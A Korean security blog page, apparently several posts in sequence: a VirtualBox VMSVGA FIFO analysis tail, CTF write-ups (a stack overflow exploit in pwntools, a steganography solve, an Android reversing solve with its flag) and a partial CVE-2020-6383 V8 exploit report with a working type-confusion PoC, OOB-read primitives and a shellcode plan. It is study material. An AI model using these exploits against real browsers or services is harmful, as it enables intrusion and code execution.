    gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE);
    gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE);
    gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE);

    pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem);
    pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize,
            PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem);

    pci_cleanup(iter);

    return 0;
}

FIFO Command Handling

FIFO buffer로 MMIO를 수행하게 되면 FIFO loop (vmsvgaR3FifoLoop)에서 커맨드로 잘라서 해당하는 커맨드를 수행하게 된다. 기본적으로 커맨드 구조는 아래를 따른다.

  1. 커맨드 넘버

    // VBox/Devices/Graphics/vmsvga/svga_reg.h:1010
    typedef enum {
    SVGA_CMD_INVALID_CMD           = 0,
    SVGA_CMD_UPDATE                = 1,
    SVGA_CMD_RECT_COPY             = 3,
    SVGA_CMD_DEFINE_CURSOR         = 19,
    SVGA_CMD_DEFINE_ALPHA_CURSOR   = 22,
    SVGA_CMD_UPDATE_VERBOSE        = 25,
    SVGA_CMD_FRONT_ROP_FILL        = 29,
    SVGA_CMD_FENCE                 = 30,
    SVGA_CMD_ESCAPE                = 33,
    SVGA_CMD_DEFINE_SCREEN         = 34,
    SVGA_CMD_DESTROY_SCREEN        = 35,
    SVGA_CMD_DEFINE_GMRFB          = 36,
    SVGA_CMD_BLIT_GMRFB_TO_SCREEN  = 37,
    SVGA_CMD_BLIT_SCREEN_TO_GMRFB  = 38,
    SVGA_CMD_ANNOTATION_FILL       = 39,
    SVGA_CMD_ANNOTATION_COPY       = 40,
    SVGA_CMD_DEFINE_GMR2           = 41,
    SVGA_CMD_REMAP_GMR2            = 42,
    SVGA_CMD_MAX
    } SVGAFifoCmdId;
    
    // VBox/Devices/Graphics/vmsvga/svga3d\_reg.h:1031  
    #define SVGA\_3D\_CMD\_LEGACY\_BASE 1000  
    #define SVGA\_3D\_CMD\_BASE 1040
    
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE SVGA\_3D\_CMD\_BASE + 0 // Deprecated  
    #define SVGA\_3D\_CMD\_SURFACE\_DESTROY SVGA\_3D\_CMD\_BASE + 1  
    #define SVGA\_3D\_CMD\_SURFACE\_COPY SVGA\_3D\_CMD\_BASE + 2  
    #define SVGA\_3D\_CMD\_SURFACE\_STRETCHBLT SVGA\_3D\_CMD\_BASE + 3  
    #define SVGA\_3D\_CMD\_SURFACE\_DMA SVGA\_3D\_CMD\_BASE + 4  
    #define SVGA\_3D\_CMD\_CONTEXT\_DEFINE SVGA\_3D\_CMD\_BASE + 5  
    #define SVGA\_3D\_CMD\_CONTEXT\_DESTROY SVGA\_3D\_CMD\_BASE + 6  
    #define SVGA\_3D\_CMD\_SETTRANSFORM SVGA\_3D\_CMD\_BASE + 7  
    #define SVGA\_3D\_CMD\_SETZRANGE SVGA\_3D\_CMD\_BASE + 8  
    #define SVGA\_3D\_CMD\_SETRENDERSTATE SVGA\_3D\_CMD\_BASE + 9  
    #define SVGA\_3D\_CMD\_SETRENDERTARGET SVGA\_3D\_CMD\_BASE + 10  
    #define SVGA\_3D\_CMD\_SETTEXTURESTATE SVGA\_3D\_CMD\_BASE + 11  
    #define SVGA\_3D\_CMD\_SETMATERIAL SVGA\_3D\_CMD\_BASE + 12  
    #define SVGA\_3D\_CMD\_SETLIGHTDATA SVGA\_3D\_CMD\_BASE + 13  
    #define SVGA\_3D\_CMD\_SETLIGHTENABLED SVGA\_3D\_CMD\_BASE + 14  
    #define SVGA\_3D\_CMD\_SETVIEWPORT SVGA\_3D\_CMD\_BASE + 15  
    #define SVGA\_3D\_CMD\_SETCLIPPLANE SVGA\_3D\_CMD\_BASE + 16  
    #define SVGA\_3D\_CMD\_CLEAR SVGA\_3D\_CMD\_BASE + 17  
    #define SVGA\_3D\_CMD\_PRESENT SVGA\_3D\_CMD\_BASE + 18 // Deprecated  
    #define SVGA\_3D\_CMD\_SHADER\_DEFINE SVGA\_3D\_CMD\_BASE + 19  
    #define SVGA\_3D\_CMD\_SHADER\_DESTROY SVGA\_3D\_CMD\_BASE + 20  
    #define SVGA\_3D\_CMD\_SET\_SHADER SVGA\_3D\_CMD\_BASE + 21  
    #define SVGA\_3D\_CMD\_SET\_SHADER\_CONST SVGA\_3D\_CMD\_BASE + 22  
    #define SVGA\_3D\_CMD\_DRAW\_PRIMITIVES SVGA\_3D\_CMD\_BASE + 23  
    #define SVGA\_3D\_CMD\_SETSCISSORRECT SVGA\_3D\_CMD\_BASE + 24  
    #define SVGA\_3D\_CMD\_BEGIN\_QUERY SVGA\_3D\_CMD\_BASE + 25  
    #define SVGA\_3D\_CMD\_END\_QUERY SVGA\_3D\_CMD\_BASE + 26  
    #define SVGA\_3D\_CMD\_WAIT\_FOR\_QUERY SVGA\_3D\_CMD\_BASE + 27  
    #define SVGA\_3D\_CMD\_PRESENT\_READBACK SVGA\_3D\_CMD\_BASE + 28 // Deprecated  
    #define SVGA\_3D\_CMD\_BLIT\_SURFACE\_TO\_SCREEN SVGA\_3D\_CMD\_BASE + 29  
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE\_V2 SVGA\_3D\_CMD\_BASE + 30  
    #define SVGA\_3D\_CMD\_GENERATE\_MIPMAPS SVGA\_3D\_CMD\_BASE + 31  
    #define SVGA\_3D\_CMD\_ACTIVATE\_SURFACE SVGA\_3D\_CMD\_BASE + 40  
    #define SVGA\_3D\_CMD\_DEACTIVATE\_SURFACE SVGA\_3D\_CMD\_BASE + 41  
    #define SVGA\_3D\_CMD\_MAX SVGA\_3D\_CMD\_BASE + 42
  2. 커맨드 헤더 (id (지워짐), header size)

    // VBox/Devices/Graphics/vmsvga/svga3d_reg.h:1126
    /*
    * The data size header following cmdNum for every 3d command
    */
    typedef
    struct {
    /* uint32_t               id; duplicate*/
    uint32_t               size;
    } SVGA3dCmdHeader;
  3. 커맨드 body

    // example of command body
    
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dCmdSetRenderState object at 0x7fbbcbe0a7b8>  
    FIELD cid (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 103 (type=<class 'int'>)  
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dRenderState object at 0x7fbbcbe0a7b8>  
    FIELD state (type=<class 'ctypes.c\_int'>, bitlen=32)  
    VALUE = 700967841 (type=<class 'int'>)  
    FIELD \_1 (type=<class 'svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0'>, bitlen=32)  
    STRUCTURE <svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0 object at 0x7fbbcbe0a8c8>  
    FIELD uintValue (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 1482925787 (type=<class 'int'>)  
    FIELD floatValue (type=<class 'ctypes.c\_float'>, bitlen=32)  
    VALUE = 1001223113146368.0 (type=<class 'float'>)

4바이트씩 잘라서 MMIO로 데이터를 넘기면 FIFO buffer에 차례대로 들어간다. 이후 FIFO loop에서 커맨드 번호를 읽고, 헤더 사이즈를 읽은 뒤 헤더사이즈에 맞게 FIFO buffer에서 dequeue를 해서 커맨드를 읽는다. 읽은 커맨드는 커맨드 종류에 맞춰 기능을 수행하게 된다.

SVGA state에 따라 external command를 수행하는 경우도 있다. External command에는 reset, power off, save / load state 등이 있는데, SVGA 커맨드에 상관 없이 외부 요인에 의해 실행된다. (PCI command로 실행시킬 수도 있다. ex - /sys/bus/pci/devices/<device no.>/power)

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:3529 (inside vmsvgaR3FifoLoop)
/*
 * Special mode where we only execute an external command and the go back
 * to being suspended.  Currently, all ext cmds ends up here, with the reset
 * one also being eligble for runtime execution further down as well.
 */
if (pThis->svga.fFifoExtCommandWakeup)
{
    vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    while (pThread->enmState == PDMTHREADSTATE_RUNNING)
        if (pThis->svga.u8FIFOExtCommand == VMSVGA_FIFO_EXTCMD_NONE)
            PDMDevHlpSUPSemEventWaitNoResume(pDevIns, pThis->svga.hFIFORequestSem, RT_MS_1MIN);
        else
            vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    return VINF_SUCCESS;
}

References

  1. VMware SVGA Device Developer Kit: https://sourceforge.net/projects/vmware-svga/ (Alternative: https://github.com/prepare/vmware-svga)
  2. Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits (Blackhat Europe 2018): https://i.blackhat.com/eu-18/Thu-Dec-6/eu-18-Sialveras-Straight-Outta-VMware-Modern-Exploitation-Of-The-SVGA-Device-For-Guest-To-Host-Escapes.pdf
  3. https://github.com/renorobert/virtualbox-vmsvga-bugs

'보안 > Bug Hunting' 카테고리의 다른 글

QEMU USB Analysis and Fuzzing  (0) 2021.01.19

BOF101

#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void printflag(){ 
    char buf[32];
    FILE* fp = fopen("/flag", "r"); 
    fread(buf, 1, 32, fp);
    fclose(fp);
    printf("%s", buf);
    fflush(stdout);
}

int main() {
    int check=0xdeadbeef;
    char name[140];
    printf("printflag()'s addr: %p\n", &printflag);
    printf("What is your name?\n: ");
    fflush(stdout);
    scanf("%s", name);    
    if (check != 0xdeadbeef){
        printf("[Warning!] BOF detected!\n");
        fflush(stdout);
        exit(0);
    }
    return 0;
}

프로그램이 매우 간단하다. gets로 인한 스택 버퍼오버플로우가 존재한다.
프로그램에서는 check 지역 변수를 0xdeadbeef로 그대로 유지하는지 체크한다. 버퍼오버플로우를 내고 check를 0xdeadbeef로 덮어준 뒤 return address를 주어진 printflag의 주소로 덮으면 된다.

버퍼의 크기는 140, check는 버퍼 다음에 있고, 그 뒤는 saved rbp, return address다. 따라서 아래와 같이 페이로드를 구성하면 된다.

#!/usr/bin/python

from pwn import *

# p = process("./bof101")
p = remote("bof101.sstf.site", 1337)

leak = int(p.recvline()[len("printflag()'s addr: ")+2:-1], 16)
log.success("leak : ", leak)
p.sendlineafter(": ", "A"*140+p32(0xdeadbeef)+p64(0)+p64(leak))

p.interactive()

My Stego

문제에서 ML 소스코드가 주어진다. 해당 소스코드를 보면 숨길 파일을 Sys.argv.(3) 으로 받아서 다음과 같이 파일을 숨김을 확인할 수 있다.

for y = 0 to img#height - 1 do
    for x = 0 to img#width - 1 do
        let color = img#get x y in
        let r = color.r - (color.r land 1) + ((color.g lxor color.b lxor df#fread) land 1) in
        img#set x y {r=r;g=color.g;b=color.b}
    done;
done;

즉, 파일에서 1 비트씩 읽어와 이미지의 Red 채널에 xor로 숨기는 것을 확인할 수 있다. 따라서 아래 코드를 통해 파일을 얻을 수 있었다. (해당 문제가 튜토리얼 문제라서 풀이 코드가 주어졌었는데 해당 코드를 사용하였습니다.)

#!/usr/bin/python

from PIL import Image
import numpy as np

image = Image.open("challenge.bmp")

r, g, b = map(np.array, image.split())

binstr = "0b"
for a, b, c in zip(r, g, b):
  for i in range(0, image.width):
    binstr += str(int(a[i] ^ b[i] ^ c[i]) & 1)

with open("out", "wb") as f:
  f.write(("%x"%eval(binstr)).decode('hex'))

Vault 101

안드로이드 문제로 apk 파일이 주어졌다. https://github.com/skylot/jadx 를 활용하여 앱을 디컴파일 하였다.

MainActivity에서 사용자가 넣은 입력을 받아 플래그인지 아래 루틴에서 체크한다.

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(c.d(".®$\u000fß1Ç\u0003?ڙ6ʶ\"", 1451800421)).getMethod(c.d("7Ì£\u0002rØ0X", -552283301), new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(c.d("aogrfle¯}qjì.Cbsl35", 823239689)).getMethod(c.d("$OX{Í\u0010", -2050089752), Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(c.d(";HCp¯\u0005tå¶ohõ%LRtó", -730536752)).getDeclaredField(c.d("\u0014ø¡\u0014", -1215097919)).get(null)).invoke(null, b2, Class.forName(c.d("pç\u000bfÆ´!\rÌ!BZ?Ë\u000egÌëq", -1393972808)).getDeclaredField(c.d("\u001aä‰\u0017Yï\u0004", 1778992991)).get(null));
            Object newInstance = Class.forName(c.d("~jxe\u0005remY:Xrfb`c", 1356052543)).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(c.d("$Í\u001efƞ4\u0007Ž:EH Í\u000e:ê˜>]ˆ-_", -248372756)).getMethod(c.d("&DÇ\u0003ÿ\u0016xg¬", 64103114), (Class) Class.forName(c.d("/BNt\u001fqç‚`ó1F_pÓ", -401453852)).getDeclaredField(c.d("\u0001ò\u0004D", 195131734)).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(c.d("zhs`-ddmu.Rwb`kf", -754317293)).getMethod(c.d("tø\u001auÅ®", 528601528), Class.forName(c.d("oâœ5…º!OÈzä\u0016oæ‰ ", -1620091986))).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

코드를 보면 메소드 이름이나 클래스 이름들이 obfuscated되어 있음을 확인할 수 있다. 해당 이름들을 확인하기 위해 각각에 대해 c.d를 실행하였다. (Java 환경이 세팅되어 있지 않아 손으로 일일이 실행하여 얻었다)

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(java.lang.String).getMethod(getBytes, new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(android.util.Base64).getMethod(encode, Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(null, b2, Class.forName(android.util.Base64).getDeclaredField(NO_WRAP).get(null));
            Object newInstance = Class.forName(java.lang.String).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(android.content.Context).getMethod(getString, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(java.lang.String).getMethod(equals, Class.forName(java.lang.Object)).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

b.c.a.a.b를 실행한 뒤 해당 결과를 base64로 인코딩하고 값을 R.string.magic과 비교하는 것을 확인할 수 있다. b.c.a.a.b의 루틴은 아래와 같다.

public static byte[] b(byte[] bArr) {
    try {
        Object invoke = Class.forName(javax.crypto.Cipher).getMethod(getInstance, Class.forName(java.lang.String)).invoke(null, AES/CBC/PKCS5Padding);
        Object newInstance = Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(Class.forName(c.d("NI", -1666818412)), Class.forName(java.lang.String)).newInstance(a.class.getDeclaredFields()[0].get(null), AES);
        Object newInstance2 = Class.forName(javax.crypto.spec.IvParameterSpec).getConstructor(Class.forName(c.d("\u001aã", -1333368352))).newInstance(a.class.getDeclaredFields()[0].get(null));
        Object obj = Class.forName(javax.crypto.Cipher).getDeclaredField(ENCRYPT_MODE).get(null);
        Class.forName(javax.crypto.Cipher).getMethod(init, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null), Class.forName(java.security.Key), Class.forName(java.security.spec.AlgorithmParameterSpec)).invoke(invoke, obj, newInstance, newInstance2);
        return (byte[]) Class.forName(javax.crypto.Cipher).getMethod(doFinal, Class.forName(c.d("_Á", -251609689))).invoke(invoke, bArr);
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

위 코드를 보게되면a.class.getDeclaredFields()[0]를 받아와 AES의 key와 IV로 사용하는 것을 확인할 수 있다. 해당 값은 VaultService.onCreate에서 세팅하는데, R.array.kind_of_magic에서 각 원소들을 Base64 디코딩을 한 뒤 첫번째 글자들을 받아와 이를 a.class.getDeclaredFields()[0]에 세팅한다. 해당 값들은 아래와 같다.

PARK
KOREAN
nut
JACK
3
BESTBUY
JACK
queen
yelp
music
GOLF
visa
KOREAN
zip
GOLF
2

첫번째 글자들을 연결한 PKnJ3BJqymGvKzG2가 IV와 key에 해당되게 된다. 얻은 IV와 key를 이용하여 AES decrypt를 진행하면 플래그를 획득할 수 있다.

enc = magic
iv = "PKnJ3BJqymGvKzG2"
cipher = AES.new(iv, AES.MODE_CBC, iv )
print cipher.decrypt( magic )

SCTF{53CUr17Y_7Hr0U6H_085CUr17Y_15_N07_3N0U6H}

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (1) 2021.01.19

소개

이번 보고서에서는 CVE-2020-6383에 대한 익스플로잇 코드를 작성하는 것을 목표로 한다. 해당 취약점은 git 버전 2020년 2월 12일 커밋인 73f88b5f69077ef33169361f884f31872a6d56ac 에서 발생하였다. Turbofan 관련 취약점으로 type confusion으로 OOB를 일으킬 수 있는데, 이를 이용하여 익스플로잇을 작성하면서 V8을 익스하는 방법에 대해 배워볼 것이다.

해당 보고서는 (1) Root Cause Analysis, (2) Exploit 작성으로 구성되어 있다.

본문

환경 세팅

V8 익스를 테스트하기 위해서는 우선 환경 세팅부터 해야 한다. 본인이 주로 참고용으로 사용하는 블로그를 참조하여 환경을 세팅하였다. 환경 세팅을 하는 방법은 다음과 같다.

  1. depot_tools를 설치한다. 본인은 이전에 V8에 관한 연구를 진행한 적이 있어 설치가 되어 있었다.
  2. fetch v8을 실행하여 V8 소스코드를 받는다. git으로 받을 경우 빌드 툴이 받아지지 않는 등 여러 문제가 생긴다.
  3. V8 디렉토리에 들어가서 ./build/install-build-deps.sh를 실행한다. 빌드를 위한 툴들을 설치하는 과정인데, 이 역시 본인은 설치가 되어 있었다.
  4. git reset --hard 73f88b5f69077ef33169361f884f31872a6d56ac을 실행하여 버전을 맞춘다.
  5. gclient sync를 실행하여 빌드를 위한 툴들의 버전을 맞춘다.
  6. ./tools/dev/v8gen.py x64.release 또는 ./tools/dev/v8gen.py x64.debug를 실행하여 release 버전 또는 debug버전의 세팅을 만든다.
  7. ninja -C ./out.gn/x64.releaseninja -C ./out.gn/x64.debug를 수행한다. (앞과 동일하게 한다)

위의 과정들을 거치면 v8/out.gn 폴더에 빌드된 파일들이 위치해 있는 것을 확인할 수 있다.

Root Cause Analysis

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6383
https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383

Typer::Visitor::TypeInductionVariablePhi(Node* node)에서 발생하는 취약점이다. Phi 함수의 경우 루프문에서 카운트 역할을 하는 변수들을 (ex - for문 안의 i) 하나로 합쳐주는 함수인데, 자세한 내용은 컴파일러의 SSA를 공부하면 된다. (여기서는 자세히 다루지 않겠다) TypeInductionVariablePhi의 경우 Turbofan의 Typer 단계에서 phi 함수에 대한 type induction을 (변수의 타입 유도) 수행하고, Type::Range으로 loop variable에 대한 최소값과 최대값을 계산하여 반환한다. (예를들어 for문이 있을 때 초기값, bound, 증가값을 통해 최소와 최대를 계산한다)

문제가 되는 코드를 살펴보면 아래와 같다.

// src/compiler/typer.cc:857

  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }

위에서 increment와 loop variable을 모두 kInteger 타입으로 주면 both_type_integer가 true가 된다. 이럴 경우 infinity에 대한 addition과 subtraction (예를 들어 -inf + inf = NaN)이 존재할 경우 maybe_nan을 true로 만들어 NaN이 발생할 수 있음을 체크한다.

  if (increment_min >= 0) {
    [...]
  } else if (increment_max <= 0) {
    [...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
  [...]

위를 보면 increment_min < 0 이고 increment_max > 0 이면 kInteger 타입을 반환하는 것을 확인할 수 있다. 즉, increment가 동시에 음수이며 양수가 될 수 있으면 kInteger 타입을 반환한다.

위 코드의 문제는 increment가 루프문 안에서 값이 변할 수 있다는 점이다. maybe_nan 계산을 위에서 한번밖에 수행하지 않기 때문에 increment를 중간에 변형하면 타입은 kInteger로, 실제 값은 NaN으로 처리할 수 있다. 아래 PoC를 살펴보자.

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

위에서 표시한대로 JIT이 적용된 상황과 JIT이 적용되지 않은 상황의 value 값이 달라지게 된다. 이것 때문에 trigger()[0][11] 을 하게되면 oob read가 되게 된다. 실제로 안쪽에 DebugPrint로 array를 찍게되면 길이가 10에서 어느 순간 1073741323으로 변하는 것을 확인할 수 있다.

$ ./x64.release/d8 --trace-turbo exploit.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method trigger using TurboFan
---------------------------------------------------
Finished compiling method trigger using TurboFan
---------------------------------------------------
Begin compiling method  using TurboFan
---------------------------------------------------
Finished compiling method  using TurboFan
4.738595637177416e-270

Turbolizer에서 json 파일이 알 수 없는 unexpected token 문제로 열리지 않아 그래프를 확인하지 못했다. 하지만 release 모드에서 성공적으로 oob read가 되는 것을 확인할 수 있다. (debug 모드에서는 DCHECK로 인해 에러가 난다)

Exploit

익스플로잇을 작성하는 것에는 5단계가 있다. (거의 공식으로 취급된다)

  1. 유틸리티 함수들을 (integer <-> float, hex dump) 작성한다.
  2. Primitive들을 작성한다. (Arbitrary read, arbitrary write, address-of, 필요하다면 fakeobj)
  3. WASM module을 통해 RWX 페이지를 할당받는다.
  4. RWX 페이지에 arbitrary write를 통해 쉘코드를 작성한다.
  5. WASM instance를 실행하여 쉘을 띄운다.

위의 과정들을 차근히 해보자. 주로 참조한 소스들은 본인이 예전에 연구로 작성했던 익스플로잇 코드와 oob-v8 faith 블로그다.

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
https://github.com/candymate/csed499I-01

1. 유틸리티 함수들 작성

처음으로 해야할 것은 유틸리티 함수들을 작성하는 것이다. 본인이 잘 사용하는 유틸리티 함수들은 정수-실수 변환 함수 2개와 hex로 출력하는 함수 하나이다. 이들은 단순 코딩이어서 다시 작성하는 것이 의미 없다고 여겨져 faith 블로그에서 가져왔다.

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

2. Primitive들 작성

2-1. PoC 분석

이제 PoC도 있으니 해당 PoC를 잘 활용하여 primitive들을 작성한다. 우선 PoC가 어떤 부분을 읽어서 leak이 되는지 확인하였다. PoC 함수 리턴 값을 DebugPrint로 찍어 확인하였다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[0][10] = 1.1;
console.log(getHexString(m_obj[0][11]));
0x1de2082c8649 <JSArray[2]>
0x1de2082c85ad <JSArray[1073741323]>
0x1de2082c861d <Object map = 0x1de2082402d9>
0x80406e9082402d9

두번째 출력된 배열의 주소를 gdb로 찍어보면 아래와 같다. (Tagged Pointer로 인해 주소에 -1을 해주었고, Pointer Compression으로 인해 wx 모드로 찍었다. Pointer Compression 에 대해 잘 모를 경우 다음 링크의 Variant 4를 보면 된다)

gdb-peda$ x/8wx 0x1de2082c85ad-1
0x1de2082c85ac: 0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999

+8지점이 (0x082c85bd) elements에 해당하므로 해당 주소를 볼 필요가 있다. 아래 자료 참고.

해당 주소를 확인하면 array의 element가 들어있는 것을 확인할 수 있다. 주소에 isolate root에 해당하는 0x1de2를 붙여주었다.

gdb-peda$ x/32wx 0x1de2082c85bd-1
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x1de2082c85cc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85dc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85ec: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85fc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c860c: 0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x1de2082c861c: 0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x1de2082c862c: 0x0804021d      0x0804021d      0x0804021d      0x080404b1

위를 보면 첫번째는 map (shape)이며, 두번째는 length다. SMI 표기로 인해 2배로 표시되는 것을 감안하면 길이는 11임을 확인할 수 있다. (element의 길이는 11이지만 JSArray의 길이는 매우 큰 값이다) 3번째부터는 element들이 들어가 있는데, 1.1에 해당하는 값이 8 바이트에 걸쳐 들어가 있다.

trigger()[0][11] 을 접근하게 되면 0x1de2082c861c 주소를 참조하게 된다. 이는 trigger 함수 리턴 값의 1번 인덱스 인스턴스의 map에 (shape) 해당한다. 이를 적절히 수정하면 type confusion을 낼 수도 있다.

2-2. Arbitrary Read / Write

Pointer Compression에서 isolate root를 구할 수 있는 명확한 방법은 존재하지 않는다. (대부분의 경우 r13 레지스터에 저장되어 메모리에 위치하고 있지 않기 때문이다) 또한, 압축된 포인터를 조작하여 얻을 수 있는 arbitrary read와 arbitrary write는 4바이트 주소 내로 한정되게 된다. 하지만 ArrayBuffer의 backing store pointer를 활용하면 메모리 전체 영역에 대한 arbitrary read / write를 얻을 수 있다. (Backing store pointer는 glibc heap을 가리키고 있는데, isolate root로 얻을 수 없는 주소여서 8바이트 전체 포인터가 저장되어 있다)

따라서 ArrayBuffer를 활용할 것이다. 다음과 같이 구성하면 ArrayBuffer의 backing store pointer를 얻을 수 있다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[1] = new ArrayBuffer(8);
%DebugPrint(m_obj[1]);
console.log(getHexString(m_obj[0][21])); // backing store pointer
0x03bb082c8649 <JSArray[2]>
0x03bb082c85ad <JSArray[1073741323]>
0x03bb082c861d <Object map = 0x3bb082402d9>
0x03bb082c8659 <ArrayBuffer map = 0x3bb08241189>
0x558ab4a889e0
gdb-peda$ x/52wx 0x03bb082c85ad-1
